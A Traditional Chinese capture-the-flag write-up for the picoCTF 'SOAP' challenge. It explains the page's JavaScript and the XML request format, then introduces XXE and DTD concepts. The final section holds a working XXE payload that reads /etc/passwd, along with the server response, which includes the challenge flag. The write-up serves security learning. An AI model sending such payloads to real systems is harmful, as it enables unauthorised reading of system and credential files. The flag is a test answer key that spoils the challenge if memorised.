## 首頁(其他picoCTF writeup)
https://hackmd.io/@sunfrancis12/ry_LLAgp3
作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12
## SOAP
進到網頁後可以看到如下頁面

點擊details按鈕,跳出一段資訊

檢視原始碼,可以發現點擊details按鈕會觸發並將資料POST到/data
```
<form class="detailForm" action="/data" method="POST">
<input required type="hidden" name="ID" value="2">
<button type="submit" class="btn btn-sm btn-outline-secondary">Details</button>
</form>
```
再看看detailsCjeck.js
```
document.querySelectorAll('.detailForm').forEach(item => {
item.addEventListener("submit", function(e) {
checkDetails(this.getAttribute("method"), this.getAttribute("action"), new FormData(this));
e.preventDefault();
});
});
function checkDetails(method, path, data) {
const retry = (tries) => tries == 0
? null
: fetch(
path,
{
method,
headers: { 'Content-Type': window.contentType },
body: payload(data)
}
)
.then(res => res.status == 200
? res.text().then(t => t)
: "Could not find the details. Better luck next time :("
)
.then(res => document.getElementById("detailsResult").innerHTML = res)
.catch(e => retry(tries - 1));
retry(3);
}
```
## js語法介紹
document.querySelectorAll是一種js常見的語法,可以用來指定一個class
```
document.querySelectorAll('.detailForm')
```
addEventListener可以用來監聽('')裡面指定的class動作,當該class一被觸發,可以指定要被觸發的function
```
item.addEventListener("submit", function(e))
```
fetch()是一種js發送request的方式,PATH是封包要傳送的路徑,request則是完整封包內容(包含header和body)
```
fetch(PATH , request)
```
.then()是指當上一步的程式執行完成後,可以直接使用執行結果做一系列的動作
```
func().then(
...想執行的內容...
)
```
我們再看看xmlDetailsCheckPayload.js,看起來是將input變成xml的形式
```
window.contentType = 'application/xml';
function payload(data) {
var xml = '<?xml version="1.0" encoding="UTF-8"?>';
xml += '<data>';
for(var pair of data.entries()) {
var key = pair[0];
var value = pair[1];
xml += '<' + key + '>' + value + '</' + key + '>';
}
xml += '</data>';
return xml;
}
```
打開burp,開啟interprect攔截封包,攔截到的封包內容如下
```
POST /data HTTP/1.1
Host: saturn.picoctf.net:57514
Content-Length: 61
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: http://saturn.picoctf.net:57514
Referer: http://saturn.picoctf.net:57514/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>
```
POST的body如下
```
<?xml version="1.0" encoding="UTF-8"?>
<data>
<ID>1</ID>
</data>
```
他會將一串的XML查詢語法POST到/data,我們要做的事情就很明確了,沒錯就是XXE
## XML&XXE
### What is XML?
可擴展標記語言 (XML) 可讓您以可共用的方式定義和儲存資料。XML 支援電腦系統 (例如網站、資料庫和第三方應用程式) 之間的資訊交換。預先定義的規則可讓您輕鬆地透過任何網路將資料當做 XML 檔案傳輸,因為收件者可以使用這些規則來準確且有效地讀取資料。
為什麼 XML 很重要?
可擴展標記語言 (XML) 是一種標記語言,可提供規則來定義任何資料。與其他程式設計語言不同,XML 本身不能執行運算操作。相反,任何程式設計語言或軟體都可以用於結構式資料管理。
> 引用自:https://aws.amazon.com/tw/what-is/xml/
### XXE(XML injection)
XML外部處理器漏洞 ( XML External Entity, XXE ) ,你可能也聽過他更普遍的名字「XML Injection」。而這項注入式攻擊入選了新版2017年OWASP Top 10十大網站安全風險且位居第四,XXE與越來越多的微服務興起有著密切的關係。許多以XML為基礎的網站服務,忽略了管控權限的重要性,能直接透過XML語法進行請求或上傳,而造成處理器漏洞攻擊,甚至產生資料外洩、DoS等嚴重的風險。
> 引用自:https://cms.aaasec.com.tw/index.php/2019/03/29/z3/
### 以下關於XXE的介紹取自網路文章,這片文章寫得十分詳細且內容完整,請看[這篇](https://ithelp.ithome.com.tw/articles/10245604)
### DTD(Document Type Definition)
DTD定義了XML的架構以及XML中有甚麼樣的格式,且有四個組成的元素:
元素(Elements)
```
<!ELEMENT classroom (teather,student)>
```
屬性(Attribute)
```
<!ATTLIST message id CDATA #REQUIRED>
```
實體(Entities)
```
<!ENTITY numbers "0912345678">
```
注釋(Comments)
```
<!-- abcdefghijklmnopqrstuvwxyz -->
```
file protocol
https://zh.wikipedia.org/zh-tw/%E6%96%87%E4%BB%B6URI%E6%96%B9%E6%A1%88
根據題目的敘述,我們需要將/etc/passwd的結果印出來,我們將封包修改成以下內容
```
POST /data HTTP/1.1
Host: saturn.picoctf.net:52050
Content-Length: 61
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: http://saturn.picoctf.net:52050
Referer: http://saturn.picoctf.net:52050/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY file SYSTEM “file:///etc/passwd” >]><data><ID>&file;</ID></data>
```
http response結果:
```
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.8.10
Date: Fri, 25 Aug 2023 15:22:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1023
Connection: close
Invalid ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flask:x:999:999::/app:/bin/sh
picoctf:x:1001:picoCTF{XML_3xtern@l_3nt1t1ty_4dbeb2ed}
```